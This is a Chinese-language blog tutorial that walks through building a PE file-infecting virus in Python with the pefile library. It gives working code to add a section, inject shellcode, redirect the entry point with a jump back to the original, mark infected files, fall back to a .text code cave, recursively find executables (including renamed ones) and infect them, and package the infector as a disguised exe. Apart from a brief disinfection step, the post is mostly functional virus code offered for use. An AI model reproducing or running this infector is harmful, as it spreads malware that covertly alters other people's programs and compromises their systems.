本文主要是记录一次PE病毒设计入门实验,查看了很多帖子,总也找不到系统的指导。也是出于记录一次具体的实验流程,给后来摸索的但是没有思路的朋友们一点点思路。
PE即Portable Executable,是win32环境自身所带的执行体文件格式,其部分特性继承自Unix的COFF(Common Object File Format)文件格式。PE表示该文件格式是跨win32平台的,即使Windows运行在非Intel的CPU上,任何Win32平台的PE装载器也能识别和使用该文件格式的文件。
所有Win32执行体(除了VxD和16位的DLL)都使用PE文件格式,如EXE文件、DLL文件等,包括NT的内核模式驱动程序(Kernel Mode Driver)。
上图给出了PE文件结构的示意图。
PE文件至少包含两个段,即数据段和代码段。Windows NT 的应用程序有9个预定义的段,分别为 .text 、.bss 、.rdata 、.data 、.pdata 和.debug 段,这些段并不是都是必须的,当然,也可以根据需要定义更多的段(比如一些加壳程序)。
在应用程序中最常出现的段有以下6种:
.执行代码段,通常 .text (Microsoft)或 CODE(Borland)命名;
.数据段,通常以 .data 、.rdata 或 .bss(Microsoft)、DATA(Borland)命名;
.资源段,通常以 .rsrc命名;
.导出表,通常以 .edata命名;
.导入表,通常以 .idata命名;
.调试信息段,通常以 .debug命名;
PE文件的结构在磁盘和内存中是基本一样的,但在装入内存中时又不是完全复制。Windows装载器在装载的时候仅仅建立好虚拟地址和PE文件之间的映射关系,只有真正执行到某个内存页中的指令或访问某一页中的数据时,这个页才会被从磁盘提交到物理内存。但因为装载可执行文件时,有些数据在装入前会被预先处理(如需要重定位的代码),装入以后,数据之间的相对位置也可能发生改变。因此,一个节的偏移和大小在装入内存前后可能是完全不同的。
上图中,左边代表在磁盘中PE文件各个部分的对齐方式(对齐基准大小为0x200),右边是在内存中PE文件各个部分的对齐方式(对齐基准大小为0x1000),这个基准可以在PE文件的OPTION_HEADER中找到,如下图:
其实IMAGE_DOS_HEADER和Dos Stub没有什么重要的,只是IMAGE_DOS_HEADER中的第十九个成员指向IMAGE_NT_HEADERS的位置。
所有PE文件(包括DLL)均必须以一个简单的DOS MZ header开始,在偏移0处有可执行文件的“MZ”标志,确保该程序能够在DOS下运行。
PE header是相关结构IMAGE_NT_HEADER的简称,其中包含了许多PE装载器用到的域。
PE真正的内容划分为块,称作节(section)。如上图中IMAGE_NT_HEADER下面就是节表和节。
我们感染可执行文件,注入恶意代码就是对文件的节和节表进行操作。注意这是关键。
详细的PE文件结构参考https://www.cnblogs.com/bokernb/articles/6116512.html 这里不做赘述。
该程序使用Python语言编写,我用的编译器是VSCode。
会用到pefile库,详细见https://pefile.readthedocs.io/en/latest/modules/pefile.html
PE格式及内容查看:PEView / CFF explorer
首先建立一个新的节表,并将节表的相关值写入,即下图红框的内容。(这些内容需要结合shellcode长度和文件的对齐方式进行计算得到。具体实现看3.3.3)
写完新增的节表后将shellcode写入新增的节(节表对应的节)中
修改入口点,使得新的EntryPoint指向我写入的shellcode处,并且shellcode的最后一条指令是跳转指令,在shellcode执行完毕后跳转至原EntryPoint继续执行,达到不改变原文件功能的目的。
如果不是可执行文件,就退出
pe = pefile.PE(file_path)
if not pe.is_exe():
print('[*] The file is not a standard executable!!')
exit(1)
使用pefile.dump_dict()方法将目标可执行文件的PE结构放入字典中,方便后续查看读取和修改。
#获取PE头结构字典
sectionDict = pe.dump_dict()
# 原始入口点
oldAEP = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['Value']
不清楚sectionDict内容的可以使用.keys()的方法先查看其所有的key,再取其value。
将已感染的特征写入目标文件的某个特定位置,使得我们知道他被感染过,就排除了重复感染的可能。
我的策略是在目标文件的第一个节(.text)的最后0x10字节中写入原程序入口点和感染标志。
写入原程序入口点是为了后期方便解毒。
# 写入感染标志
#获取第一个节的Pointer to Raw Data和Size of Raw Data
first_section_offset = sectionDict['PE Sections'][0]['PointerToRawData']['Value']
first_section_size_of_raw_data = sectionDict['PE Sections'][0]['SizeOfRawData']['Value']
if(isInjected(pe, first_section_offset + first_section_size_of_raw_data, INJECT_FLAG)):
print('[Warning] The %s was injected already!' % file_path)
return False
#未感染则进行感染。首先加入感染标志
insertPeInjectFlag(pe,first_section_offset + first_section_size_of_raw_data,oldAEP, INJECT_FLAG)
获取第一个节的Pointer to Raw Data和Size of Raw Data,即得到了第一个节的起始文件偏移和节的大小。
所以我们写入原程序入口点和感染标志的起始偏移就是(Pointer to Raw Data)+(Size of Raw Data)- (0x10).
结果如下图:
实际上就是获取到目标文件的最后一个节表的起始偏移和大小,两者相加就是新节的起始偏移。
如果当前最后一个节表后还有大于0x28(一个节表的大小)大小的空间,就可以写入。
每一个标志位内容详情见注释。
# 增加节表
# -----------------------------------------------------------
# 获取当前最后一个节表的偏移
last_section_header_offset = sectionDict['PE Sections'][num_of_sections-1]['Name']['FileOffset']
# 新节表的偏移(加上0x28H)
new_section_header_offset = last_section_header_offset + SECTION_HEADER_SIZE#新节头的初始位置
print('[*] new_section_header_offset:',hex(new_section_header_offset))
# 逐字节填充新节表28个字节
offset = new_section_header_offset
#8字节"Name",自己起 --8
pe.set_qword_at_offset(offset,new_section_name)#name
#4 Virtual Size shellcode的总长度 --12
offset += 8
pe.set_dword_at_offset(offset,Virtual_size)
#上一个节的Virtual_size和rva,方便计算下一个节的rva
former__Virtual_size = sectionDict['PE Sections'][num_of_sections-1]['Misc_VirtualSize']['Value']
former_rva = sectionDict['PE Sections'][num_of_sections-1]['VirtualAddress']['Value']
rva = (int(former__Virtual_size / 0x1000) + 1)*0x1000 + former_rva
#4 RVA 相对虚拟地址,也是新入口点的位置,程序改为由此处开始执行 --16
offset += 4
pe.set_dword_at_offset(offset, rva)
size_of_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200
#4 节的大小 以0x200对齐,0x200的倍数 --20
offset += 4
pe.set_dword_at_offset(offset, size_of_raw_data)
#0x7600
point_to_raw_data = (int(former__Virtual_size / 0x200) + 1)*0x200 + former_point_to_raw_data
#4 节的偏移 上一个节的偏移加上上一个节的大小 --24
offset += 4
pe.set_dword_at_offset(offset, point_to_raw_data)
#4 Pointer to Relocations 置0 --28
offset += 4
pe.set_dword_at_offset(offset, 0)
#4 Pointer to Line Numbers 置0 --32
offset += 4
pe.set_dword_at_offset(offset, 0)
#2 Number of Relocations 置0 --34
offset += 2
pe.set_word_at_offset(offset, 0)
#2 Number of Line Numbers 置0 --36
offset += 2
pe.set_word_at_offset(offset, 0)
#4 特征,0x60000020代表可执行、可读和节中包含代码
offset += 4 # --40
pe.set_dword_at_offset(offset, 0x60000020)
# -----------------------------------------------------------
特征,Characteristics表示文件属性,它的每一个bit都代表了某种含义。
Bit 0 :置1表示文件中没有重定向信息。每个段都有它们自己的重定向信息。
这个标志在可执行文件中没有使用,在可执行文件中是用一个叫做基址重定向目录表来表示重定向信息的,这将在下面介绍。
Bit 1 :置1表示该文件是可执行文件(也就是说不是一个目标文件或库文件)。
Bit 2 :置1表示没有行数信息;在可执行文件中没有使用。
Bit 3 :置1表示没有局部符号信息;在可执行文件中没有使用。
Bit 4 --Bit 7。。。
Bit 8 :表示希望机器为32位机。这个值永远为1。
Bit 9 :表示没有调试信息,在可执行文件中没有使用。
Bit 10:置1表示该程序不能运行于可移动介质中(如软驱或CD-ROM)。在这 种情况下,OS必须把文件拷贝到交换文件中执行。
Bit 11:置1表示程序不能在网上运行。在这种情况下,OS必须把文件拷贝到交换文件中执行。
Bit 12:置1表示文件是一个系统文件例如驱动程序。在可执行文件中没有使用。
Bit 13:置1表示文件是一个动态链接库(DLL)。
Bit 14:表示文件被设计成不能运行于多处理器系统中。
Bit 15:表示文件的字节顺序如果不是机器所期望的,那么在读出之前要进行交换。在可执行文件中它们是不可信的(操作系统期望按正确的字节顺序执行程序)。
因为我们不知道目标文件最后一个节最后是否为空,所以需要先判断。
如果为空,直接在后面添加内容
如果不为空,则覆盖后面的内容
# 写入shellcode
#判断最后一个节后是否有空白位置
if(pe.get_dword_from_offset(point_to_raw_data) == None):
pe.__data__ = pe.__data__ + shellcode + jmp_code + bytes(rest_0)
else:
pe.set_bytes_at_offset(point_to_raw_data, shellcode + jmp_code + bytes(rest_0))
为什么要是用两种方式写入呢?经过我的实践发现:最后一个节没后有空白位置,我们使用set_bytes_at_offset()函数是无法写入的,此时只能用在最后添加的方式写入。
还有一个问题,就是shellcode最后一条指令是跳转指令,而这个跳转指令跟新的入口点有关,即:
Jmp 后的跳转地址 = 目的地址 - 当前地址 - 5
举个例子。
目的地址(原入口点) = 0x12D0
当前地址 = 新节起始偏移(新入口点) + len(shellcode) = 0x12000 + 0xE8
所以Jmp 后的跳转地址为:
在PEView中查看:
前面的E9就是jmp指令的十六进制表示形式。
当然啦,还有一个问题就是,计算得到的跳转地址如何转化为一个字接一个字节的形式?因为这样更容易写入文件中。
一是可以使用set_dword_at_offset()直接在E9后的偏移处写入这个十六进制数;二是将该十六进制数拆生成四个字节表示的形式,转化为byte(字节型)后,利用set_bytes_at_offset()和shellcode一起写入。
将该十六进制数拆生成四个字节表示的形式,转化为byte可参考以下方法:
我相信这很容易看懂。
distance = oldAEP - rva - Virtual_size
bytea = []
bytea.append((distance & 0x000000ff))
bytea.append((distance & 0x0000ff00) >> 8)
bytea.append((distance & 0x00ff0000) >> 16)
bytea.append((distance & 0xff000000) >> 24)
jmp_code = b"\xE9" + bytearray(bytea)
还有方法是利用struct中的pack()方法。
#修改入口点
entry_point_offset = sectionDict['OPTIONAL_HEADER']['AddressOfEntryPoint']['FileOffset']
print('[*] new_entrypoint:',hex(rva))
pe.set_dword_at_offset(entry_point_offset, rva)
#节数加一
pe.set_word_at_offset(sectionDict['FILE_HEADER']['NumberOfSections']['FileOffset'],pe.FILE_HEADER.NumberOfSections + 1)
#SizeOfImage
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfImage']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfImage']['Value'] + (int(shellcode_length / 0x200) + 1)*0x1000)
#SizeOfCode
pe.set_dword_at_offset(sectionDict['OPTIONAL_HEADER']['SizeOfCode']['FileOffset'], sectionDict['OPTIONAL_HEADER']['SizeOfCode']['Value'] + (int(shellcode_length / 0x200) + 1)*0x200)
这里不用pe.write()方法
# 写回输出文件
f = open(outputFile,'wb')
f.write(pe.__data__)
f.close()
以上是在存在足够空间时新增节表的方法,我们还会遇到没有足够空间使用新增节表法,这时候就可以选择第二种策略——将恶意代码写入.text节后的空余位置(如果位置足够的话)。
同新增节法类似,先找到可以写的位置。我找的是.text节后的空余位置。
这里有:
start_offset = first_section_Misc_VirtualSize + first_section_offset#
new_entry_point = first_section_Misc_VirtualSize + first_section_table_rva
start_offset 就是恶意代码将要写入的起始偏移(text节的起始偏移+节已使用长度),new_entry_point 是新的入口点,即程序先从这里开始执行,再跳转到原入口点执行,不改变原有功能。
具体感染完的效果如下图:
在这里插入图片描述
上图中,绿色框中是写入的恶意代码,黄框中为jmp指令,蓝色框为写入的原入口点和感染标志位。
解毒简单粗暴,将入口点改回原入口点即可。
将text节中写入的原入口点读出,覆盖掉OPTIONAL_HEADER中的[‘AddressOfEntryPoint’]。
解决了如何感染单个可执行文件,进行当前目录的感染就很简单了。
python提供的glob库可以实现,glob是python自己带的一个文件操作相关模块,用它可以查找符合自己目的的文件,类似于Windows下的文件搜索,支持通配符操作,*,?,[]这三个通配符,代表0个或多个字符,?代表一个字符,[]匹配指定范围内的字符,如[0-9]匹配数字。
glob模块的主要方法就是glob,该方法返回所有匹配的文件路径列表(list);该方法需要一个参数用来指定匹配的路径字符串(字符串可以为绝对路径也可以为相对路径),其返回的文件名只包括当前目录里的文件名,不包括子文件夹里的文件。
exec_files = glob.glob('*.exe')#当前目录下的所有exe文件
for file in exec_files:
# print((file))
peInject.peInject(file, new_section_name, shellcode)
但是需要注意的是,这里是以文件后缀的方式来识别可执行文件,存在漏洞。
我们知道,一个文件的本质上是什么类型的文件取决于它的文件结构,而不是后缀。所以本质上判断一个文件是否是可执行文件,还需要从文件的结构下手,不能简单地依据后缀来判断。
如图我将optput.exe后缀改为.jpg,使用PEView打开依旧还是可执行文件。
我们使用pe下的is_exe()来判断:
file_path = r"output.jpg"
pe = pefile.PE(file_path)
print(pe.is_exe())
#返回值为True
方法可行,所以要对这种扫描方式进行改进。
具体策略是遍历当前目录下的所有文件(文件夹先不处理),使用pe.is_exe()进行判断,是可执行文件的进行感染并加上.exe的后缀,让Windows“认识”其为可执行文件。
但是又遇到了新问题,如何区分是文件还是文件夹?扫描到目录和非可执行文件时,pefile.PE(file_path)会报错。
解决以上问题,就要换另一个库,os库下的path;pefile.PE(file_path)报错问题使用try-except语句。
def getExecFile(dirPath):
if dirPath[-1] == '/':
print(u'文件夹路径末尾不能加/')
return
allExecFiles = []
if os.path.isdir(dirPath):
fileList = os.listdir(dirPath)
for f in fileList:
if not os.path.isdir(f):#不是文件夹
# print(f)
try:#如果不能用PE()方法打开,即不是可执行文件
pe = pefile.PE(f)
if((pefile.PE(f)).is_exe()):
allExecFiles.append(f)
except:continue
return allExecFiles
print(getExecFile('.'))
扫描指定目录,得到所有的文件及文件夹,剔除非文件,并返回所有的可执行文件。
在3.5.1的程序基础上改造一个递归程序即可,实现起来很容易。
def getExecFile(dirPath, rec_infect):
if dirPath[-1] == '/':
print(u'文件夹路径末尾不能加/')
return []
allExecFiles = []
# print(dirPath,rec_infect)
if(rec_infect):#递归感染
if os.path.isdir(dirPath):
fileList = os.listdir(dirPath)
for f in fileList:
f = dirPath + '/' + f
if not os.path.isdir(f):
try:
if((pefile.PE(f)).is_exe()):
# print(f)
allExecFiles.append(f)
except:continue
else:
# 递归返回的子目录文件也要加进来
allExecFiles += getExecFile(f, rec_infect)
这里利用pyinstaller实现打包python脚本为exe可执行文件。
首先安装pywin32、pyinstaller,然后按照如下命令:
pyinstaller -F -i 1.ico PEINJECTION.py
其中1.ico是图标, PEINJECTION.py是需要打包的python脚本。
打包完如下:
在dist文件夹下:(我改了名字/偷笑)
运行结果如下:argv[1]:感染路径 argv[2]:是否循环感染1是0否
如果想要实现点击直接运行,直接在代码中设置运行当前目录为参数1,默认递归感染。
./1目录如下:
敬请指正,源码数据需要的私信。_